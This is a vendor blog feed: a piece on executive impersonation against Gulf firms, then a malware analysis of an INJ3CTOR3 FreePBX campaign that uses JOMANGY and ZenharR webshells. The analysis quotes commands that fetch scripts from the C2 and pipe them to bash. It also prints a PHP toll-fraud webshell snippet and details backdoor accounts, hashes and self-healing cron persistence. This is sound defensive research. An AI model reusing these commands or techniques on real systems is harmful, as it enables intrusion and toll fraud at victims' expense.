Cyble's Brand Intelligence solution helps organizations detect malicious domains, phishing websites, brand impersonation attempts, and other forms of digital abuse in real time. Combined with Dark Web and Cyber Crime Monitoring and Takedown & Disruption services, security teams can identify threats early, investigate malicious activity, and accelerate the removal of fraudulent infrastructure before it causes financial or reputational damage. 

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Check out how Cyble helps organizations detect, monitor, and disrupt phishing campaigns, fraudulent domains, and brand abuse before they lead to financial loss or reputational damage. 

Frequently Asked Questions 

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When a senior executive at a Dubai-based energy conglomerate receives a WhatsApp message that appears to come directly from their CEO — complete with the right profile photo, a familiar tone, and an urgent wire transfer request. This type of CEO fraud, CEO impersonation scam, or executive impersonation attack is becoming one of the most effective forms of financial cybercrime targeting Gulf organizations. 

According to Cyble’s Middle East & Africa Threat Landscape Report: Q1 2026 report, executive impersonation has emerged as one of the most targeted and financially damaging attack vectors facing organizations in the UAE, Saudi Arabia, and Qatar in 2026.  

Why Gulf Executives Are Prime Targets 

Gulf executives sit at a uniquely lucrative intersection for threat actors: energy wealth, cross-border financial authority, and high political exposure. The UAE and Saudi Arabia's sovereign wealth funds — ADIA, Mubadala, PIF — operate across dozens of markets, and the executives overseeing them routinely authorize large international transactions while maintaining visible digital footprints on platforms like LinkedIn. 

That visibility draws both financially motivated attackers and state-sponsored actors. Senior figures at government-linked entities and national oil companies are espionage targets as much as fraud targets — a dynamic illustrated when threat actors attempted to harvest executive credentials at Saudi Aramco through spear-phishing emails designed to mimic internal communications. 

What SAMA's Cybersecurity Framework Requires 

For organizations operating in Saudi Arabia's financial sector, the Saudi Arabian Monetary Authority (SAMA) Cybersecurity Framework sets direct expectations around executive-level risk. The framework mandates that organizations implement identity and access management controls, establish threat intelligence programs, and maintain incident detection and reporting capabilities — including those that address impersonation risks at the leadership level. 

Specifically, SAMA's controls require organizations to assess and manage risks associated with social engineering and targeted attacks against key personnel. This includes monitoring for unauthorized use of executive identities, maintaining awareness of digital exposure, and having documented response procedures when impersonation attempts are detected or confirmed. 

Failure to meet these requirements carries regulatory consequences, but more immediately, it leaves financial institutions open to the kind of Business Email Compromise (BEC) CEO fraud, whaling attacks, and executive fraud schemes that have cost Gulf organizations tens of millions of dollars in recent years. 

For executive stakeholders, Cyble's executive monitoring provides a strategic view of of these external threats, helping organizations track emerging risks and make informed decisions before incidents escalate.

Attack Methods Specific to This Region 

• LinkedIn Impersonation: Attackers clone executive profiles on LinkedIn — photos, job history, connections — to approach employees or vendors with fraudulent requests, exploiting the platform's trusted reputation to bypass skepticism. 

• WhatsApp CEO Fraud: Because WhatsApp doubles as a primary business channel across the Gulf, attackers clone or hijack executive accounts to send urgent, convincing requests to finance and HR staff with little reason to question them. 

• Fake Domain Creation: Threat actors register lookalike domains — tweaked letters, swapped TLDs, added hyphens — to spoof corporate email and portal infrastructure, with Cyble tracking dozens targeting UAE and Saudi entities in 2025 alone, several timed to coincide with public announcements. 

• Deepfake Fraud: Threat actors are experimenting with AI-generated voice and video content to impersonate senior executives during financial approval workflows. 

Publicly Reported Incidents in the Region 

The threat is not theoretical. Several high-profile incidents have put Gulf organizations on alert in recent years. 

• In Qatar, a state-linked organization was targeted in 2022 as part of a broader campaign attributed to Iranian-nexus threat actors, with spear-phishing attempts specifically designed to harvest credentials from senior personnel. The incident underscored the political dimension of executive targeting in the region. 

• In Saudi Arabia, threat actors linked to the Lazarus Group — a North Korean state-sponsored actor — have been documented targeting financial institutions and energy sector executives through spear-phishing lures tailored to the Saudi business context, including fake recruitment offers and investment communications. 

• In the UAE, a 2023 incident involving a Dubai-based financial services firm saw attackers use a combination of LinkedIn reconnaissance and WhatsApp impersonation to attempt a multi-stage BEC fraud.  

Subscribe to Cyble’s weekly intelligence digest to keep that edge, week after week. 

How Cyble Vision Detects Threats at the Recon Stage 

Most executive impersonation attacks succeed not because defenses fail at the moment of attack, but because organizations have no visibility into the reconnaissance phase that precedes it. By the time a fraudulent LinkedIn profile is being used to approach employees, or a lookalike domain is sending phishing emails, the attacker has already completed weeks or months of preparation. 

Cyble Vision is designed to interrupt this cycle early. The platform monitors across the surface web, deep web, and dark web for indicators that an organization or its executives are being profiled for attack. This includes detection of: 

• Lookalike domain registrations that mimic corporate identities are flagged in near-real time as they appear in certificate transparency logs and domain registries. 

• Dark web mentions of executive names, email addresses, or corporate credentials being traded or discussed in threat actor communities. 

• Fraudulent social media profiles that impersonate executives or use scraped corporate branding. 

• Leaked credentials from third-party breaches that could be used to compromise executive accounts or enable account takeover. 

By identifying these indicators before campaigns become operational, Cyble Vision gives security teams critical lead time to respond — whether by dismantling malicious infrastructure, notifying at-risk individuals, or strengthening defenses before attackers can gain traction.

Get the intelligence that matters. Download the Cyble META Threat Landscape Report for a full breakdown of threat actors, attack patterns, and risk signals across META. 

The post C-Suite Impersonation in the Gulf: How Threat Actors Are Targeting UAE & Saudi Executives in 2026 appeared first on Cyble.

Executive Summary

Cyble Research & Intelligence Labs (CRIL) has identified an active FreePBX exploitation campaign, with high confidence tied to INJ3CTOR3, an actor with a documented history of targeting VoIP infrastructure for financial gain since 2019.

The campaign deploys a multi-stage Bash dropper that introduces JOMANGY, a PHP webshell family with no prior public documentation, alongside ZenharR, previously attributed to the same actor lineage. Every deployed webshell instance carries live VoIP toll fraud code that routes calls through the victim's own SIP trunks at the victim's expense. A C2-hosted IP inventory of 3,080 addresses, assessed as scanner output from a co-located reconnaissance node, reflects the operational scale.

The persistence architecture distinguishes this generation from prior INJ3CTOR3 campaigns. Six independent channels protect each other, spanning cron-based C2 polling, shell profile injection, immutable crontab backups, a process watchdog, chattr +i-protected webshell copies, and a self-reinstalling PHP executor. Any single surviving channel is enough to re-establish the full infection within minutes. Partial remediation is, by design, functionally useless.

The infection chain also drops 18 backdoor accounts across three tiers. Nine have UID-0 (root-equivalent) privileges, eight are service-tier OS accounts, and one is a FreePBX web panel account injected directly into MySQL. Account names are deliberately chosen to blend into the legitimate FreePBX service account inventory.

Key Takeaways

• JOMANGY is a PHP webshell family with no prior public documentation (this analysis being its first description). Every deployed instance uses double-layer obfuscation (base64 over ROT13) and carries the watermark string 'trace_e1ebf9066a951be519a24140711839ea', tying all campaign webshells back to a single source.
• The campaign establishes six independent persistence channels that protect each other: cron-based C2 polling every one to three minutes; shell profile injection firing on root login and reboot; eight chattr +i-immutable crontab backups protected by two separate restore cron loops; a process watchdog that respawns the beacon; chattr +i-protected webshell copies; and a PHP executor with its own cron reinstallation logic. Any single surviving channel re-establishes the full infection within minutes.
• 18 backdoor accounts land across the infection chain in three tiers: nine UID-0 (root-equivalent) OS accounts, eight service-account-tier OS accounts, and one FreePBX web panel account injected directly into MySQL. Account names such as asterisk, asteriskuser, freepbxuser, and spamfilter are deliberately chosen to blend into the legitimate FreePBX service account inventory.
• All three deployed webshell instances carry live VoIP toll fraud code that places calls through the victim's own SIP trunks via asterisk -rx "channel originate Local/<num>@<context>". A C2-hosted IP address inventory (people2.txt, 3,080 entries, assessed as scanner output), with roughly 39% pointing at Alibaba Cloud-hosted infrastructure, highlights the operational scale.
• The Stage 1 dropper evicts 50+ webshell signatures and blocks 11 competitor C2 IPs bidirectionally, while simultaneously self-evicting every artifact from INJ3CTOR3's own January 2026 campaign, consistent with the operator migrating their active botnet from Brazilian to Dutch infrastructure between campaign generations.
• At the time of analysis, we were not able to recover the exploit payload and could not confirm the entry vector from artifacts alone. The artifacts point to two candidate CVEs with high confidence: CVE-2025-64328 (FreePBX filestore module post-auth command injection, the documented prior-campaign entry vector) and CVE-2025-57819 (FreePBX Endpoint module pre-auth SQL injection via cron_jobs, whose WatchTowr Labs PoC artifacts the Stage 1 dropper explicitly evicts).
• Six independent artifact overlaps (the unique marker string `bm2cjjnRXac1WW3KT7k6MKTR`, the INJ3CTOR3 actor name appearing explicitly as an eviction target, the prior C2 `45.234.176.202` in the iptables block list, shared binary names and file paths, the `newfpbx` UID-0 backdoor account, and the MySQL `ampusers` insertion pattern) with Fortinet's January 2026 encystPHP report tie this campaign to INJ3CTOR3, corroborated by Check Point Research (2020), Palo Alto Unit 42 (2022), and SANS ISC diary #32892 (2026-04-13). The C2 URL framework (/k.php, /z/wr.php, /z/post/root.php) has been in continuous operation since at least 2021.
• k.php (100259af)and wr.php (d40180f7) were absent from VirusTotal at the time of analysis. The primary dropper (b506fc82) had four detections across 76 engines. The operator actively rotates k.php content, which further degrades signature coverage over time.

Attribution

We attribute the JOMANGY campaign to INJ3CTOR3 with high confidence based on the following:

• The eviction routine names bm2cjjnRXac1WW3KT7k6MKTR as a grep target (the same unique marker Fortinet identified in the January 2026 encystPHP dropper) and also names INJ3CTOR3 directly as an eviction target in the same block.
• The rest of the Fortinet overlaps (prior C2 45[.]234[.]176[.]202 in the iptables block list, shared file paths and binary names, the newfpbx UID-0 backdoor, the MySQL ampusers pattern) confirm this. Unit 42 documented the same ZenharR toolset and identical C2 URL structure against the same actor in 2022.
• SANS ISC diary #32892 independently identified the current C2 and the shared password hash in April 2026. Check Point Research traced the same eviction targets, b3d0r and yokyok, to this actor's CVE-2019-19006 campaign in 2020.

For anyone tracking this actor long-term, it is worth noting that Juba was explicitly deleted and evicted in the January 2026 dropper. Yet, the current Stage 1 resets its password without recreating the account.

An operator working from someone else’s scripts would not know which dormant accounts to password-cycle. The motivation behind this is toll fraud, as in every generation of this campaign, since 2019. (See Figure 2)

Victimology and Target Profile

The 3,080-IP inventory (people2.txt) is mostly APAC cloud: Alibaba Cloud, which spans China, Hong Kong, and Singapore, accounts for roughly 39%. The C2 was live during artifact collection, and the operator was actively updating the list between snapshots.

The Elastix SQLite database theft (/var/www/db/acl.db) and the use of account names such as Issabel and Sangoma indicate that the operator is targeting every major PBX platform family across Latin America, Southeast Asia, and the Middle East.

The 2 in people2.txt likely implies an earlier version of the list exists somewhere. Across 3,080 assessed entries, this is assessed as automated mass exploitation rather than a targeted campaign. (See Figure 3)

Background

VoIP toll fraud is one of the leading categories in a $41.82 billion global telecom fraud problem (CFCA, Global Fraud Loss Survey 2025 & [9]) that rarely makes it into mainstream security coverage.

FreePBX and Asterisk deployments have been a consistent target for financially motivated actors for most of the last decade. A FreePBX host with working SIP trunks gives an attacker direct access to the victim's carrier accounts and the ability to originate calls at will.

Toll fraud avoids the operational overhead of ransomware negotiations or finding a data buyer by having the operator route calls through premium-rate numbers (IPRNs) they control or sell capacity to third-party fraud networks and then have the victim's carrier send the bill.

Internet-exposed FreePBX management interfaces number globally in the tens of thousands, with a large fraction running end-of-life releases and minimal host hardening.

INJ3CTOR3 has been exploiting this attack surface continuously since at least 2019. Check Point Research documented the actor's CVE-2019-19006 campaign in 2020. Palo Alto Unit 42 followed with a ZenharR-deploying generation targeting CVE-2021-45461 in 2022. Fortinet then covered the January 2026 encystPHP iteration operating from C2 45[.]234[.]176[.]202.

The Shadowserver Foundation tracked over 900 FreePBX instances that were actively compromised as of February 2026 and were tied to that campaign. By May 2026 (five months after public disclosure), 700+ remained compromised across North America, Europe, Asia, South America, Africa, and Oceania. That number reflects how genuinely difficult these infections are to clear. (See Figure 4)

Shadowserver independently attributed the ongoing compromises to exploitation of CVE-2025-64328, the same CVE that emerges as a candidate for initial access in the current campaign.

We collected the current generation in April 2026 from a Bash dropper still communicating with an active C2 at 45[.]95[.]147[.]178 (using artifacts from C2's web directory also referenced by SANS ISC diary #32892).

Technical Analysis

Initial Access Vector

The earliest recovered artifact (Stage 1, b506fc82) is already executing on the victim system. No exploit payload or HTTP server access logs were recovered, so the initial entry point was not confirmed.

However, two CVEs emerge as high-confidence candidates, each tied to a distinct forensic indicator in the samples.

Every stage from Stage 1 through the license.php executor includes a line that scrubs Apache httpd logs of entries containing the string "restapps" (sed -i '/restapps/d'). The JOMANGY webshell cleanup routine also explicitly targets file patterns associated with WatchTowr Labs' CVE-2025-57819 proof-of-concept.

Files matching *-watchTowr-*.php are searched for and deleted. Both patterns are confirmed in the sample. What they imply about the initial access vector is assessed, not confirmed. (See Figure 5)

CVE-2025-64328 is a post-authentication command-injection vulnerability in the FreePBX filestore module, affecting versions 17.0.2.36 through 17.0.3, and patched in 17.0.3 (CVSS 8.6, FreePBX advisory). CISA added it to the KEV (Known Exploited Vulnerabilities) catalog in February 2026 following Shadowserver Foundation reporting of approximately 900 compromised instances beginning in December 2025.

Fortinet documented CVE-2025-64328 as the entry vector for the January 2026 prior encystPHP campaign operating from C2 45[.]234[.]176[.]202, the same prior campaign whose artifacts the current dropper systematically evicts. That direct lineage makes it a strong candidate for campaign continuity.

There is a caveat, though. CVE-2025-64328 operates through the filestore module at HTTP path /admin/ajax.php?module=filestore&command=testconnection.

The restapps log scrubbing present throughout every stage of the current campaign does not correspond to this module's exploitation path and therefore, cannot be read as evidence of CVE-2025-64328 here.

That restapps log-scrubbing is better understood as a legacy behavioral artifact the actor has carried across every campaign generation since 2022, when CVE-2021-45461 (the Rest Phone Apps module RCE documented by Unit 42) served as the prior-generation entry vector and introduced ZenharR) persists as a carry-forward into the current campaign.

This behavioral continuity is analytically useful for long-term actor tracking, but it does not constrain the current entry vector assessment. CVE-2025-64328 and CVE-2025-57819 remain the high-confidence candidates for the current campaign.

CVE-2025-57819 is a pre-authentication SQL injection vulnerability in the FreePBX Endpoint module. WatchTowr Labs documented active exploitation beginning September 2025, through a mechanism that inserts a malicious entry into the Endpoint module's cron_jobs database table, causing FreePBX's internal scheduler to execute arbitrary OS commands at one-minute intervals, a mechanism architecturally identical to this campaign's own cron-persistence model (WatchTowr Labs CVE-2025-57819 proof-of-concept).

The pre-authentication nature is consistent with mass automated exploitation across a 3,080-entry assessed target inventory. The architecture presents an additional indicator: the prior encystPHP dropper (71d94479) explicitly disabled the Endpoint module (chmod 000 endpoint/ajax.php) and (fwconsole ma uninstall endpoint, fwconsole ma delete endpoint). (See Figure 6)

The current campaign does not disable the Endpoint module. If CVE-2025-57819 was the entry vector, disabling the module eliminates the entry path itself. An operator who still needs the module active for exploitation would leave it running. Therefore, we treat this architectural inference as the strongest available evidence linking CVE-2025-57819 to the current campaign.

Campaign Architecture and Staging

The infection chain runs across three Bash payload stages, with license.php serving as a PHP executor component written to disk by those stages rather than fetched directly from the C2.

Stage 1 (b506fc82) is the initial Bash dropper where a concurrent re-run variant (/x) re-applies the same host-takeover behaviors on already-owned hosts and is treated as part of Stage 1 rather than a separate stage.

Stage 2 (k.php) deploys the JOMANGY webshell family and is the first one to write license.php to disk.

Stage 3 (wr.php, d40180f7) is a ZenharR dropper that forms a second cron download track running in parallel with k.php. wor.php (995e6304) is a second ZenharR dropper hosted at /z/wor.php on the C2.

It was recovered from the C2 artifact dump, but has no trigger identified in any executed payload in the recovered artifact chain. license.php is a PHP command executor invoked via the FreePBX HA hook; it executes between Stage 2 and Stage 3 in the chain, then again after Stage 3 rewrites it. (See Figure 1 for the campaign architecture flow)

Stage-by-Stage Payload Analysis

Stage 1: Bash Dropper (23,355 bytes, b506fc82)

The dropper runs in a deliberate order. Competitor eviction goes first, followed by credential implantation and persistence installation, with log destruction last. Running eviction up front clears competing implants and defensive tooling before the operator's own infrastructure lands, shrinking the window where both sides' webshells coexist on the same host.

It deletes previously placed download artifacts (devnull24, devnull23, devnull2, and prior campaign iteration artifacts, as confirmed by naming patterns). Lines 15-19 handle two things in parallel:

• A blanket userdel loop which removes all non-root accounts with UID 0 or UID >= 1000,
• A MySQL INSERT establishes the FreePBX web panel backdoor for account freepbxusers with admin-level access (sections=*) and password SHA1 hash 6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9.

Then it runs the bulk competitor webshell eviction, searching /var/www/html/ and /var/www/ for approximately 50 named webshell signatures and deleting matching PHP files. (See Figure 7)

Credential implantation runs in two tiers. Lines 262-264 decode and execute three base64-obfuscated useradd commands that create UID-0 accounts newfpbxs, newfpbx, and xhimax with the shared MD5-crypt password hash. Lines 292-298 create seven more UID-0 accounts in plaintext: centos, admin, support, issabel, sangoma, emo, and xhimax (a redundant second creation of xhimax).

It creates eight non-UID-0 accounts (sugarmaint, spamfilter, asteriskuser, supports, freepbxuser, supermaint, asterisk, and hima), all sharing the same MD5-crypt password hash, and applies (Lines 312-321) the same hash to ten accounts, including root itself, via chpasswd -e. (See Figure 8)

Stage 1 installs persistence across two active tracks. The first is recurring cron polling of k.php every one to three minutes. The second is a shell profile stager appended to /root/.bash_profile, /root/.bashrc, and /etc/rc.local, which run on every root login and system reboot.

Lines 272-278 also execute a one-time phone-home to the C2 root index (http://45[.]95[.]147[.]178/) immediately on first run, separate from the cron infrastructure and effective even if the cron subsystem is blocked at execution time.

The active crontab is written to eight hidden, chattr +i-immutable backup paths using system-mimicking directory names, protected by two independent restore loops and a process watchdog.

Stage 1 deploys no webshells. That work is deferred entirely to Stage 2, an intentional departure from the prior encystPHP generation, which wrote the webshell directly from the initial dropper.

The full per-channel breakdown (including self-healing mechanism) is covered in the Persistence Mechanisms section below. (See Figure 9)

The dropper closes with SSH hardening and log wiping. (See Figure 10)

Stage 2: k.php (100259af, approximately 45KB, Bash)

It opens by fetching and executing /x via curl (curl http://45[.]95[.]147[.]178/x -ks | bash), re-applying the Stage 1 host-takeover behaviors before any webshell deployment begins.

Line 3 decodes a base64 blob and writes it to /var/www/html/admin/views/ajax.php, the FreePBX admin AJAX endpoint, and a high-traffic legitimate file that provides cover for the webshell.

Lines 15-25 copy the same blob to more than ten additional paths across the FreePBX web tree, including /var/www/html/h.php, /var/www/html/rest_phones/ajax.php, /var/www/html/admin/modules/h/ (ajax.php, config.php, index.php), and subdirectories under fpbxphones/ and phones/.

Lines 27-28 write an .htaccess rewrite rule (RewriteEngine On; RewriteRule .* config.php), so any request to an unrecognized path within those directories lands on a webshell copy.

Lines 7-8 reinstall the MySQL ampusers backdoor using the same DELETE + INSERT pattern as Stage 1, replanting the freepbxusers web panel account every time k.php executes.

Lines 9-10 redundantly repeat the useradd invocations for newfpbx and xhimax. Lines 29-30 apply chattr +i to the primary webshell files. Lines 31-32 execute a base64-decoded tryRoot1.sh shell script (run twice redundantly), which writes /var/www/html/admin/modules/freepbx_ha/license.php and triggers the FreePBX HA hooks.

The operator rotates k.php actively. The artifact collected (100259af, ~45KB) and the VT URL last-fetch variant (49abb105, retrieved 2026-04-29) are distinct, which suggests that what a victim receives from k.php at any given moment may differ from what was analyzed here. (See Figure 11)

The PHP webshell blob is double-obfuscated: an outer base64 layer encodes a PHP string that, when decoded, applies str_rot13() to a second encoded layer before passing the result to eval(). Once decoded, the webshell presents a form with <input type="submit" name="JOMANGY" value="JOMANGY">, the identifier establishing this as the JOMANGY family.

The outer PHP wrapper includes dead-code AV evasion and a watermark comment,/* trace_e1ebf9066a951be519a24140711839ea */, which appears in each deployed instance, tying deployments in this campaign to a single common source. (See Figure 12)

Stage 3: wr.php (d40180f7, 27KB, Bash)

wr.php mirrors the k.php structure but targets a different primary webshell path set and deploys the ZenharR family. It opens with the same concurrent dropper execution (curl http://45[.]95[.]147[.]178/x -ks | bash), then writes a ZenharR webshell blob to two paths simultaneously via tee: /var/www/html/digium_phones/ajax.php and /var/www/html/admin/views/some.php.

The subsequent 15 cp commands (lines 4 and 16–29) copy from /var/www/html/admin/views/ajax.php, which at this point contains the JOMANGY webshell placed by k.php, to 15 additional some.php paths across the FreePBX web tree.

These copies, therefore, propagate JOMANGY, not ZenharR. wr.php applies .htaccess and chattr +i to its primary write targets, runs the MySQL backdoor reinstallation with the same freepbxusers SHA1 hash, and calls back to http://45[.]95[.]147[.]178/z/post/noroot.php | sh after completing ZenharR deployment and file propagation, then once again after executing tryRoot1.sh.

The tryRoot1.sh execution writes /var/www/html/admin/modules/freepbx_ha/license.php and triggers the FreePBX HA hooks by writing a trigger token to /usr/local/asterisk/ha_trigger and /usr/local/asterisk/ha_triggers.

The wr.php cron entries land on a victim through two independent paths: license.php's dual-track reinstallation logic, and a set of explicit wget .../z/wr.php ... | crontab - commands baked directly into the tryRoot1.sh payload embedded in wr.php itself.

The license.php path is the shared channel, and the direct crontab install is a wr.php-specific fallback. A defender who neutralizes the license.php-mediated cron track but leaves wr.php's own tryRoot1.sh reachable still gets wr.php re-established on its own. (See Figure 13)

Stage 3 (parallel): wor.php (995e6304, 13KB, Bash)

wor.php is a lighter-weight dropper hosted at /z/wor.php on the C2 but with no trigger identified in any executed payload in the recovered artifact chain (see Campaign Architecture above). Unlike wr.php, it does not chain the concurrent dropper (x).

It writes a ZenharR webshell blob via tee to both /var/www/html/digium_phones/ajax.php and /var/www/html/admin/views/ajax.php simultaneously — the latter overwriting the JOMANGY webshell that k.php placed there, replacing it with ZenharR.

The 10 subsequent cp commands copy the contents of admin/views/ajax.php, which now holds ZenharR, to 10 additional paths. wor.php applies an .htaccess rewrite rule but has no chattr +i commands.

It calls back to hxxp://45[.]95[.]147[.]178/z/post/noroot.php| sh after completing ZenharR deployment and file propagation, then once again after executing the tryRoot1.sh sequence.

The deployed ZenharR instance uses a distinct auth hash (b92c65af386ed772972b43cab0d55a4a) and embeds operator VPN IP 169[.]150[.]218[.]33.

At the time of analysis, the noroot.php endpoint served an empty response, indicating a non-root execution callback path that is prepared but not yet populated with commands.

freepbx_ha/license.php (PHP executor)

license.php is a PHP script written to disk by tryRoot1.sh and invoked via the FreePBX HA mechanism. It contains system(‘%s’), a format-string placeholder that the operator populates through the JOMANGY webshell before triggering the HA hook, providing privileged arbitrary command execution. Unlike the JOMANGY and ZenharR browser-accessible webshells, license.php lacks an authentication mechanism and eval-based obfuscation.

Beyond that command slot, the script runs three independent user-deletion loops clearing all non-root UID-0 and UID-≥1000 accounts; chpasswd operations setting ueteGJYCHeMTk on root and seven service accounts (sugarmaint, spamfilter, asteriskuser, supports, asterisk, freepbxuser, and supermaint); useradd commands promoting sugarmaint, supports, and supermaint to UID-0; SSH hardening; httpd log scrubbing; a dual-track cron reinstallation covering both k.php and z/wr.php download paths; and a final curl http://45[.]95[.]147[.]178/z/post/root.php | sh. At the time of analysis, root.php served a 12-byte #!/bin/bash stub with no active commands.

The script also explicitly enables PermitRootLogin, opens TCP/22 through iptables, and restarts sshd to ensure remote administrative access remains available. (See Figure 14)

Obfuscation and Evasion Techniques

Stage 1's encoding choices are purposeful. Most of the script runs in plaintext, including competitor eviction, iptables rules, and log deletion. The base64 encoding is reserved specifically for the UID-0 useradd invocations (lines 262-264) and the shell profile stager (line 302).

The -ou 0 flag combination is one of the more reliable behavioral heuristics in endpoint tooling, and encoding those three lines costs the operator nothing while suppressing the most detectable pattern in the dropper.

The cron payload variables (B64_ZEN2, B64_DEVNULL, B64_HEAL) are stored as base64 strings decoded inline at runtime. A crontab -l on a victim host returns what appears to be benign variable assignments.

The download URLs and execution commands are not visible without manually decoding each variable. (See Figure 15)

JOMANGY's encoding is a step up from what this operator has used before. The outer PHP blob runs str_rot13() on an inner base64 payload before passing to eval(). In practice, automated analysis tools that stop after a single base64 decode pass produce ROT13 output, not PHP, and yield nothing actionable.

The dead-code stub (if(false){ $SdDDlKoPiuhDB = 'deadcode_anti_av'; }) is a separate trick that targets static heuristics that flag PHP files for suspicious variable assignments. The variable exists only inside a branch that never executes. Neither of the techniques used is novel, but both offer cheap modifications with measurable payoff. (See Figure 16)

k.php, and wr.php had zero VirusTotal submissions at the time of analysis, and Stage 1 came in at four detections across 76 engines. (See Figure 17)

Persistence Mechanisms

The campaign establishes six independent persistence channels, engineered so that partial remediation leaves the infection intact and capable of full re-establishment.

Channel 1: Primary cron polling: We observed 8 cron entries installed across 2 blocks download hxxp://45[.]95[.]147[.]178/k.php every one to three minutes and execute the result under varying binary paths in /var/lib/asterisk/bin/, /dev/shm/.systemd/, and /tmp/.cache/.

This is the primary beacon: every minute, the crontab runs, fetching the latest version of k.php and re-executing it, redeploying any removed webshells within 3 minutes. (See Figure 18)

Channel 2: Shell profile persistence. Stage 1 appends a base64-encoded download-and-execute stager to /root/.bash_profile, /root/.bashrc, and /etc/rc.local. This channel fires on every interactive root login and every system reboot, independently of the cron subsystem. An operator who kills all running dropper processes and clears the crontab will re-trigger the infection on the next login or reboot. (See Figure 19)

Channel 3: Self-healing crontab backup system. Stage 1 writes the active crontab to eight hidden paths using directory names that mimic legitimate system directories. Each file is immediately flagged immutable with chattr +i, so that rm -rf executed even by root silently fails without error. Two separate cron restore entries, then protect these backups.

The first (B64_HEAL, line 357) fires at a random minute every hour and decodes to: for b in <all 8 paths>; do [ -s "$b" ] && crontab "$b" && break; done.

The second (line 359) fires every minute with an inline condensed version, iterating five of the eight paths.

A defender who removes only the B64_HEAL entry leaves the per-minute restore entry active.

A defender who removes both restore entries but misses the immutable flag on even one backup file finds the crontab reinstalled within an hour when the next dropper execution re-installs the restore entries.

Leaving any single channel intact causes full infection to re-establish within minutes. (See Figure 20)

Channel 4: Process watchdog. Stage 1 installs a cron entry running pgrep -x zen2 || bash <download_path> and pgrep -x devnull2 || bash <download_path>. If either the primary beacon binary (zen2) or the secondary variant (devnull2) is absent from the process table, the watchdog re-downloads and re-executes k.php. Killing the beacon process without simultaneously removing the watchdog cron entry results in an immediate respawn.

Channel 5: PHP webshells with immutability. Stage 2 writes JOMANGY to over twelve paths while Stage 3 adds more. wr.php drops ZenharR directly into digium_phones/ajax.php and admin/views/some.php, then bulk-copies the existing JOMANGY shell to 15 additional paths via a cp loop. Primary copies carry chattr +i, so rm -rf issued as root returns without removing the file.

Each deployed instance is also a dropper in its own right, where a single authenticated HTTP request to any surviving shell triggers a full cron reinstall, credential rotation, and re-execution of all stages. If a defender misses one path during cleanup, the operator rebuilds the entire infection stack from a browser.

Channel 6: freepbx_ha/license.php. The PHP executor, triggered via the FreePBX HA hook mechanism, includes its own independent cron reinstallation logic for both k.php and wr.php download tracks. As long as this file exists on disk and the FreePBX HA module is installed, the operator can invoke it to rebuild the entire persistence stack from scratch. (See Figure 21)

Implant and Backdoor Analysis

JOMANGY has no prior public documentation. This analysis is its first description. Every deployed instance carries the watermark /* trace_e1ebf9066a951be519a24140711839ea */, which makes hunting straightforward: any PHP file under the FreePBX web root containing that string is a campaign artifact. An earlier variant (SHA256 039d648b, VT first seen 2026-04-07) had a different auth hash (bfcedbc1831779921a0ee2cfaee004f2) and embedded operator IP 146[.]70[.]129[.]114 (AS9009 M247 Europe SRL). The operator rotated both webshell credentials and VPN provider between that early variant and the live campaign deployment, moving from M247 to Datapacket-hosted infrastructure somewhere in between. Below is the JOMANGY operator panel. (See Figure 22)

ZenharR was documented by Unit 42 in 2022 against the same actor lineage. This is tool reuse rather than a new family. The wr.php and wor.php instances have distinct auth hashes and embedded IPs per deployment (a2f6863.../169[.]150[.]218[.]37 and b92c65af.../169[.]150[.]218[.]33).

SANS ISC diary #32892 observed a third hash (cf710203400b8c466e6dfcafcf36a411) at /admin/modules/phones/ajax.php, a third deployed variant that was not in the collected artifact set. All instances use single-layer base64 + eval obfuscation and authenticate via md5($_REQUEST['md5']) == '<hash>'; the C2's ___ask.php and ___md5.php both serve the same live token (ec4ca4db5ec0b782e51224fa7082ac06), which enables the operator to rotate webshell credentials across all victims simultaneously by updating a single file.

Post-authentication, both webshell families expose the same capabilities. The VoIP fraud module is present in all instances:

if (isset($_REQUEST['call'])) {
    system('asterisk -rx "channel originate Local/'
        . $_REQUEST['prs'] . $_REQUEST['num']
        . '@' . $_REQUEST['context']
        . ' application wait '
        . $_REQUEST['time'] . '"');
}
 

Four parameters from the browser: prs (prefix/country code), num (destination), context (Asterisk dialplan context), and time (call duration). The webshell runs asterisk -rx locally. Victim's trunks, victim's bill.

The same channel-originating interface was documented in the 2022 ZenharR samples (Unit 42) and in the January 2026 VictamPbx webshells.

The remaining capabilities are consistent across all three instances: $_REQUEST['cmd'] -> system() for arbitrary OS commands; Elastix SQLite ACL database theft (/var/www/db/acl.db); and FreePBX admin session hijack via ampuser setAdmin().

Command and Control

The C2 at 45[.]95[.]147[.]178 (AS49870 Alsycon B.V., Netherlands) hosts the /z/ directory, the operator's backend, four static text files with no panel, no framework, and no staging server visible from the recovered artifacts. ___ip.php serves a single IP address (169[.]150[.]218[.]33) that matches the operator VPN IP embedded in wor.php's ZenharR authentication form; PTR resolution returns a Datapacket hostname (AS212238), consistent with dedicated operator-controlled infrastructure, though the file's exact role on the C2 is not confirmed from the artifact alone.

 ___ask.php and ___md5.php both serve the same 32-byte string (ec4ca4db5ec0b782e51224fa7082ac06).

The most consistent read is that deployed webshells poll one of these endpoints to stay synchronized on the valid auth hash — a single file update on the C2 rotates credentials across every victim simultaneously.

___zen.php (a8b65af6c142736ccf80420e44df240f) is assessed as a ZenharR payload integrity reference; no mechanism confirming that function was identified in the recovered chain. (See Figure 23)

The scanner 160[.]119[.]76[.]250 sits in the same AS49870 allocation as the primary C2 and was independently named by SANS ISC diary #32892 as the probe origin for this campaign.

Competitor Eviction and Ecosystem Dynamics

Stage 1 evicts two distinct sets of tooling. The first is the operator's own prior-campaign artifacts; the January 2026 encystPHP infrastructure was cleared from every host being migrated to the new Dutch infrastructure.

The second is the standard competitor cleanup: roughly 50 webshell families deleted across the web tree and 11 external C2 IPs blocked bidirectionally, keeping the same pool of compromised FreePBX systems clear of actors who have been co-resident on them since at least 2020.

The self-eviction evidence is unambiguous. The prior campaign dropper (71d94479, January 2026, C2 45[.]234[.]176[.]202) deployed a webshell named "VictamPbx" with button markup name="VictamPbx" and embedded the unique marker string bm2cjjnRXac1WW3KT7k6MKTR in its own competitor eviction grep list.

Both strings appear verbatim in the current Stage 1 dropper's eviction routine, causing the current campaign to search for and delete files from the prior campaign's own webshell family.

The prior C2 IP 45[.]234[.]176[.]202 appears on the current campaign's iptables block list, blocking any still-running prior-campaign beacon from reaching its origin server.

The prior campaign's download artifacts (devnull24, devnull23, devnull2) are explicitly deleted while every compromised host is moved from the January 2026 Brazilian infrastructure to the April 2026 Dutch infrastructure (every trace of the prior generation is carried over). (See Figure 24)

